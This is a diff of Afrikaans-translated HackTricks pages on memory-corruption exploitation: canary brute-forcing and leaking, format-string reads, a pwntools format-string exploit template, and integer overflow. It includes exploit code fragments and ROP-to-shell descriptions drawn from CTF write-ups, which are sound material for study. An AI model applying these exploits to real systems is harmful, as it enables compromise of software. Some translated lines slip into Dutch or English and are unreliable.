Dan is die beste manier om die kanarie te omseil net om dit **karakter vir karakter te kragtig**, en jy kan uitvind of die gerate kanariebyte korrek was deur te kyk of die program afgesny het of sy gewone vloei voortset. In hierdie voorbeeld **kragtig 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek gerate byte en 'n slegte byte deur net **te kyk** of 'n **reaksie** deur die bediener teruggestuur word (op 'n ander manier in **ander situasie** kan wees om 'n **try/uitsondering** te gebruik):
### Voorbeeld 1
@ -73,7 +74,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Voorbeeld 2
Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.\
Merk ook op dat vir hierdie voorbeeld die **program verwag dat eerste 'n byte aandui wat die grootte van die inset** en die lading is.
Merk ook op dat vir hierdie voorbeeld die **program verwag eers 'n byte om die grootte van die inset** en die lading aan te dui.
```python
from pwn import *
@ -116,15 +117,15 @@ log.info(f"The canary is: {canary}")
```
## Drade
Drade van dieselfde proses sal ook **die selfde kanarie-token deel**, daarom sal dit moontlik wees om 'n kanarie te **brute-force** as die binêre elke keer 'n nuwe draad skep as 'n aanval plaasvind.&#x20;
Drade van dieselfde proses sal ook **die selfde kanarie-token deel**, daarom sal dit moontlik wees om 'n kanarie te **brute-force** as die binêre lêer 'n nuwe draad skep elke keer as 'n aanval plaasvind.
Verder kan 'n buffer **overflow in 'n gedraade funksie** wat beskerm word met 'n kanarie, gebruik word om die hoofkanarie wat in die TLS gestoor is, te **verander**. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word (en dus die kanarie) te bereik via 'n **bof in die stapel** van 'n draad.\
As gevolg hiervan is die verswakking nutteloos omdat die kontrole gebruik word met twee kanaries wat dieselfde is (hoewel gewysig).\
Verder kan 'n buffer **overflow in 'n gedraaide funksie** wat beskerm word met 'n kanarie, gebruik word om die hoofkanarie wat in die TLS gestoor word, te wysig. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word (en dus die kanarie) te bereik via 'n **bof in die stok** van 'n draad.\
As gevolg hiervan is die versagting nutteloos omdat die kontrole gebruik word met twee kanaries wat dieselfde is (hoewel gewysig).\
Hierdie aanval word uitgevoer in die skryfstuk: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** gestoor word deur **`mmap`** en wanneer 'n **stapel** van 'n **draad** geskep word, word dit ook gegenereer deur `mmap` volgens hierdie, wat die oorloop mag toelaat soos in die vorige skryfstuk getoon.
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** gestoor word deur **`mmap`** en wanneer 'n **stok** van 'n **draad** geskep word, word dit ook gegenereer deur `mmap` volgens hierdie, wat die oorloop mag toelaat soos in die vorige skryfstuk getoon.
## Ander voorbeelde & verwysings
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64-bits, geen PIE, nx, BF-kanarie, skryf in 'n sekere geheue 'n ROP om `execve` te roep en spring daarheen.
* 64-bits, geen PIE, nx, BF-kanarie, skryf in 'n paar geheue 'n ROP om `execve` te roep en spring daarheen.

View file

@ -1,35 +1,36 @@
# Druk Staprooi
# Druk Stokkanarie
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Vergroot gedrukte stak
## Vergroot gedrukte stok
Stel jou voor 'n situasie waar 'n **program vatbaar** vir stak-oorvloei 'n **puts**-funksie kan uitvoer wat na 'n **deel** van die **stak-oorvloei** wys. Die aanvaller weet dat die **eerste byte van die kanarie 'n nul byte** (`\x00`) is en die res van die kanarie is **willekeurige** bytes. Dan kan die aanvaller 'n oorvloei skep wat die stak oorskryf tot net die eerste byte van die kanarie.
Stel 'n situasie voor waar 'n **program vatbaar** vir stokoorvloei 'n **puts**-funksie kan uitvoer wat na 'n **deel** van die **stokoorvloei** wys. Die aanvaller weet dat die **eerste byte van die kanarie 'n nulbyte** (`\x00`) is en die res van die kanarie is **willekeurige** bytes. Dan kan die aanvaller 'n oorvloei skep wat die stok oorskryf tot net die eerste byte van die kanarie.
Dan roep die aanvaller die puts-funksionaliteit aan in die middel van die nutslading wat al die kanarie sal druk (behalwe die eerste nul byte).
Dan roep die aanvaller die puts-funksionaliteit aan op die middel van die nutslading wat al die kanarie sal druk (behalwe die eerste nulbyte).
Met hierdie inligting kan die aanvaller 'n nuwe aanval **skep en stuur** deur die kanarie te ken (in dieselfde program-sessie).
Dit is vanselfsprekend dat hierdie taktiek baie **beperk** is aangesien die aanvaller in staat moet wees om die **inhoud** van sy **nutslading** te **druk** om die **kanarie** te **eksfiltreer** en dan 'n nuwe nutslading (in dieselfde program-sessie) te kan skep en stuur die **werklike buffer-oorvloei**.
Dit is vanselfsprekend dat hierdie taktiek baie **beperk** is aangesien die aanvaller in staat moet wees om die **inhoud** van sy **nutslading** te **druk** om die **kanarie** te **eksfiltreer** en dan 'n nuwe nutslading (in dieselfde program-sessie) te kan skep en **stuur** die **werklike stokoorvloei**.
**CTF-voorbeelde:**&#x20;
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64-bis, ASLR geaktiveer maar geen PIE nie, die eerste stap is om 'n oorvloei te vul tot die byte 0x00 van die kanarie om dan puts te roep en dit te lek. Met die kanarie word 'n ROP-gadget geskep om puts te roep om die adres van puts van die GOT te lek en dan 'n ROP-gadget om `system('/bin/sh')` te roep
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
* 32-bis, ARM, geen relro, kanarie, nx, geen pie. Oorvloei met 'n oproep aan puts daarop om die kanarie + ret2lib te lek wat `system` aanroep met 'n ROP-ketting om r0 (arg `/bin/sh`) en pc (adres van system) te pop
* 32-bis, ARM, geen relro, kanarie, nx, geen pie. Oorvloei met 'n oproep aan puts daarop om die kanarie te lek + ret2lib wat `system` aanroep met 'n ROP-ketting om r0 (arg `/bin/sh`) en pc (adres van system) te pop
## Willekeurige Lees
@ -40,18 +41,19 @@ Met 'n **willekeurige lees** soos die een wat deur formaat **strings** voorsien
{% endcontent-ref %}
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Hierdie uitdaging misbruik op 'n baie eenvoudige manier 'n formaatstring om die kanarie van die stak te lees
* Hierdie uitdaging misbruik op 'n baie eenvoudige manier 'n formaatstring om die kanarie van die stok te lees
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**abonnementsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Formaat Strings - Willekeurige Lees Voorbeeld
{% hint style="success" %}
Leer & oefen AWS Hacken:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacken: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Lees Binêre Begin
@ -45,9 +46,9 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
* Die **offset is 11** omdat die instelling van verskeie As en **brute-forcing** met 'n lus wat vanaf 0 tot 50 verskuif, getoon het dat by offset 11 en met 5 ekstra karakters (pype `|` in ons geval), dit moontlik is om 'n volledige adres te beheer.
* Ek het **`%11$p`** gebruik met vulling totdat ek gesien het dat die adres almal 0x4141414141414141 was.
* Die **formaat string lading is VOOR die adres** omdat die **printf ophou lees by 'n nul byte**, so as ons die adres stuur en dan die formaat string, sal die printf nooit die formaat string bereik nie aangesien 'n nul byte voor die hande gevind sal word.
* Die **offset is 11** omdat die instelling van verskeie As en **brute-forcing** met 'n lus offsets vanaf 0 tot 50 gevind het dat by offset 11 en met 5 ekstra karakters (pype `|` in ons geval), dit moontlik is om 'n volledige adres te beheer.
* Ek het **`%11$p`** gebruik met vulling totdat ek sien dat die adres almal 0x4141414141414141 was.
* Die **formaat string lading is VOOR die adres** omdat die **printf ophou lees by 'n nul byte**, so as ons die adres stuur en dan die formaat string, sal die printf nooit die formaat string bereik nie aangesien 'n nul byte gevind sal word voor dit.
* Die gekose adres is 0x00400000 omdat dit waar die binêre begin (geen PIE)
```c
#include <stdio.h>
@ -106,7 +107,7 @@ In die beeld is dit moontlik om te sien dat ons die wagwoord van die stok in die
### Lees data
Deur dieselfde aanval uit te voer, maar met `%p` in plaas van `%s`, is dit moontlik om 'n heap-adres vanaf die stok te lek by `%25$p`. Verder, deur die gelekte adres (`0xaaaab7030894`) te vergelyk met die posisie van die wagwoord in die geheue in daardie proses, kan ons die adresverskil verkry:
Deur dieselfde aanval uit te voer, maar met `%p` in plaas van `%s`, is dit moontlik om 'n heap-adres van die stok te lek by `%25$p`. Verder, deur die gelekte adres (`0xaaaab7030894`) te vergelyk met die posisie van die wagwoord in die geheue in daardie proses, kan ons die adresverskil verkry:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
@ -173,16 +174,17 @@ p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Formaat Strings Templaat
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
```python
from pwn import *
from time import sleep
@ -152,16 +153,17 @@ format_string.execute_writes()
P.interactive()
```
<besonderhede>
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
<details>
Ander maniere om HackTricks te ondersteun:
<summary>Ondersteun HackTricks</summary>
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</besonderhede>
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Heelgetal Oorvloei
# Integer Oorvloei
{% hint style="success" %}
Leer en oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
In die kern van 'n **heelgetal oorvloei** is die beperking wat deur die **grootte** van datatipes in rekenaarsprogrammering en die **interpretasie** van die data opgelê word.
In die kern van 'n **integer oorvloei** is die beperking wat opgelê word deur die **grootte** van data tipes in rekenaarsprogrammering en die **interpretasie** van die data.
Byvoorbeeld, 'n **8-bit ondertekenloos heelgetal** kan waardes van **0 tot 255** voorstel. As jy probeer om die waarde 256 in 'n 8-bit ondertekenloos heelgetal te stoor, sal dit na 0 oorvloei as gevolg van die beperking van sy stoorvermoë. Op soortgelyke wyse, vir 'n **16-bit ondertekenloos heelgetal**, wat waardes van **0 tot 65,535** kan hou, sal die byvoeging van 1 tot 65,535 die waarde terug na 0 laat oorvloei.
Byvoorbeeld, 'n **8-bit ondertekenlose heelgetal** kan waardes van **0 tot 255** voorstel. As jy probeer om die waarde 256 in 'n 8-bit ondertekenlose heelgetal te stoor, sal dit na 0 oorvloei as gevolg van die beperking van sy stoorvermoë. Op soortgelyke wyse, vir 'n **16-bit ondertekenlose heelgetal**, wat waardes van **0 tot 65,535** kan hou, sal die byvoeging van 1 tot 65,535 die waarde terug na 0 bring.
Verder kan 'n **8-bit onderteken heelgetal** waardes van **-128 tot 127** voorstel. Dit is omdat een bit gebruik word om die teken (positief of negatief) voor te stel, wat 7 bits oorlaat om die grootte voor te stel. Die mees negatiewe getal word voorgestel as **-128** (binêre `10000000`), en die mees positiewe getal is **127** (binêre `01111111`).
Verder kan 'n **8-bit ondertekende heelgetal** waardes van **-128 tot 127** voorstel. Dit is omdat een bit gebruik word om die teken (positief of negatief) voor te stel, wat 7 bits oorlaat om die grootte voor te stel. Die mees negatiewe getal word voorgestel as **-128** (binêre `10000000`), en die mees positiewe getal is **127** (binêre `01111111`).
### Maksimum waardes
@ -42,8 +43,8 @@ println!("{}", add_result);
```
{% endtab %}
{% tab title="Afrikaans" %}
Integer-overflow is 'n baie algemene fout in C-programmering. Dit gebeur wanneer 'n waarde groter is as die maksimum waarde wat 'n spesifieke data tipe kan hanteer. Dit kan lei tot onvoorspelbare gedrag in 'n program, insluitend die oorskrywing van geheue en selfs die uitvoering van skadelike kode.
{% tab title="C" %}
Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior in the program, such as wrapping around to a minimum value or causing a buffer overflow. Integer overflow can be exploited by an attacker to manipulate the program's behavior and potentially execute malicious code.
{% endtab %}
```c
#include <stdio.h>
@ -102,14 +103,14 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
In hierdie voorbeeld, as 'n gebruiker 'n negatiewe nommer invoer, sal dit geïnterpreteer word as 'n groot ondertekenende heelgetal as gevolg van die manier waarop binêre waardes geïnterpreteer word, wat moontlik tot onverwagte gedrag kan lei.
In hierdie voorbeeld, as 'n gebruiker 'n negatiewe nommer invoer, sal dit geïnterpreteer word as 'n groot ondertekenlose heelgetal as gevolg van die manier waarop binêre waardes geïnterpreteer word, wat moontlik tot onverwagte gedrag kan lei.
### Ander Voorbeelde
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Slegs 1B word gebruik om die grootte van die wagwoord te stoor, sodat dit moontlik is om dit te oorvloei en dit te laat dink dat dit 'n lengte van 4 is terwyl dit eintlik 260 is om die lengtekontrolebeskerming te omseil
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Gegee 'n paar getalle vind met behulp van z3 'n nuwe nommer wat met die eerste vermenigvuldig sal word om die tweede een te gee:&#x20;
* Gegee 'n paar getalle, vind met behulp van z3 'n nuwe getal wat met die eerste vermenigvuldig sal word om die tweede een te gee:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
@ -119,18 +120,4 @@ In hierdie voorbeeld, as 'n gebruiker 'n negatiewe nommer invoer, sal dit geïnt
## ARM64
Hierdie **verander nie in ARM64** soos gesien kan word in [**hierdie blogpos**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
Dit **verander nie in ARM64** soos gesien kan word in [**hierdie blogpos**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).

View file

@ -1,35 +1,36 @@
# Bins & Geheue-toekennings
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
